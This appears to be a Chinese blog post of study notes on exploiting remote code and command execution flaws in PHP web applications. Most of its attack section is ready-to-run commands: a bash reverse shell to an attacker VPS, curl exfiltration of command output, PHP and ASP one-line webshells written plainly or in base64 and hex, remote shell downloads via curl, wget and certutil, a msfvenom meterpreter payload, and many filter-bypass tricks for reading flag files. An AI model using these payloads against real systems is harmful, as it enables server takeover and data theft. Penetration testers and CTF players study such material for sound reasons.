通用漏洞-RCE代码执行&命令执行20240604

文章推荐

WEB 安全—深入学习命令执行漏洞-CSDN博客

RCE漏洞总结及绕过---系统命令执行篇-CSDN博客

概述

代码执行

>引用脚本代码解析执行
代码执行漏洞是由于服务器 对危险函数过滤不严导致用户输入的一些字符串可以被转换成代码来执行,从而造成代码执行漏洞

命令执行

>脚本调用操作系统命令

Web应用的脚本代码在执行命令的时候过滤不严

从而注入一段攻击者能够控制的代码,在服务器上以Web服务的后台权限远程执行恶意指令

一、PHP语言

1.1代码执行函数

函数介绍:

https://www.cnblogs.com/networkroom/p/16395024.html

https://www.ngui.cc/article/show-519518.html?action=onClick

eval()、assert()、preg_replace()、create_function()、array_map()、
call_user_func()、call_user_func_array()、array_filter()、
uasort()、等

1.2命令执行函数

 函数介绍:

https://www.cnblogs.com/networkroom/p/16395024.html

https://www.ngui.cc/article/show-519518.html?action=onClick

system()、exec()、shell_exec()、pcntl_exec()、popen()、
proc_popen()、passthru()、等

1.3利用手段

出网测试

1、使用dnslog.cn、ceye.io
原理:反引号的命令会自动执行并返回命令执行的结果拼接到命令里
在这里插入图片描述
2、VPS

先在vps处用nc进行监听
nc -l -p 8080 -vvv nc -lvnp 9988
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

3、VPS 开启httpserver 服务

pyhton -m http.server 8888      #pyhton3中启动方式,开启的端口为80
python -m SimpleHTTPServer 8888    #python2启动方式
curl http://vps_ip:8888/`whoami`
3.2 写入Shell

1、查找路径

locate 00000.png 2>/dev/null
find / -name 00000.png 2>/dev/null
find / | grep 00000.png 2>/dev/null
find /var/www/html/ -name "*.php"
| xargs grep "某某网站"
dir /a/b/s c:\xxxxx.jpg

2、常规写入

在有写入权限、知道路径的的情况下,直接写入一句话getshell
echo ' eval($_POST[1]);?>' > /var/www/html/shell.php
set /p="<%execute request("1")%>" > C:\inetpub\wwwroot\shell.asp
echo ^<%execute request("1")%^> > C:\inetpub\wwwroot\shell.asp

3、远程下载写入:

curl http://192.168.1.100/shell.txt >
/var/www/html/shell.php
wget http://192.168.1.120/shell.txt -O
/var/www/html/shell.php

4、远程下载写入:

curl http://192.168.1.100/shell.txt > /var/www/html/shell.php
wget http://192.168.1.120/shell.txt -O /var/www/html/shell.php
certutil -urlcache -split -f http://192.168.1.105:8080/shell.txt C:\inetpub\wwwroot\shell.asp

5、编码方式写入:

echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d > /var/www/html/shell.php
echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps > /var/www/html/shell.php
更多姿势参考链接:https://www.wangan.com/p/7fy7fxcc831261a2
3.3 反弹Shell
/bin/bash -i >& /dev/tcp/vps_ip/4433 0>&1
3.4 CS/Msf 马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.43.223 LPORT=4444 -f elf -o 1.elf

1.4绕过手法

通配符

falg=fl*
cat fl*
cat ?la*

可以利用通配符来进行模糊匹配,配合占位符来进行绕过

转义符号

ca\t /fl\ag
cat fl''ag

拼接法

a=fl;b=ag;cat $IFS$a$b

反引号

cat `ls`

编码绕过

组合绕过

touch "ag"
touch  "fl\\"
touch "t \\"
touch  "ca\\"
ls -t >shell
sh shell 

#\代表换行
#ls -t 代表将文本按时间排序输出
# ls -t > shell 代表将输出输入到shell文件中
# sh shell 代表将文本中的文字读取出来执行

使用空变量$*和$@,$x,${x}绕过

ca$*t fl$*ag
ca$@t fl$@ag
ca$5t fl$5ag
ca${2}t fl${2}ag

异或无符号(针对过滤了0-9a-zA-z)

异或: rce-xor.php & rce-xor.py
或: rce-xor-or.php & rce-xor-or.py

管道符

管道符实例描述
;A;B无论真假,A与B都执行
&A&B无论真假,A与B都执行
&&A&&BA为真时才执行B,否则只执行A
|A|B显示B的执行结果
||A||BA为假时才执行B,否则只执行A

空格过滤

以下可代替空格
<<>%20(即space)
%09(即tab)$IFS$9${IFS}
$IFS{cat,/flag}

cat替换命令

morelesscattac
headtailvivim
nlodsortuniq
tac	与cat相反,按行反向输出
more	按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less	与more类似
tail	查看文件末几行
head	查看文件首几行
nl	在cat查看文件的基础上显示行号
od	以二进制方式读文件,od -A d -c /flag转人可读字符
xxd	以二进制方式读文件,同时有可读字符显示
sort	排序文件
uniq	报告或删除文件的重复行
file -f	报错文件内容
grep	过滤查找字符串,grep flag /flag

1.5无回显利用

直接写入一个文件访问判断

直接进行对外访问判断

二、java语言(未写)

三、python语言(未写)

  • 24
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值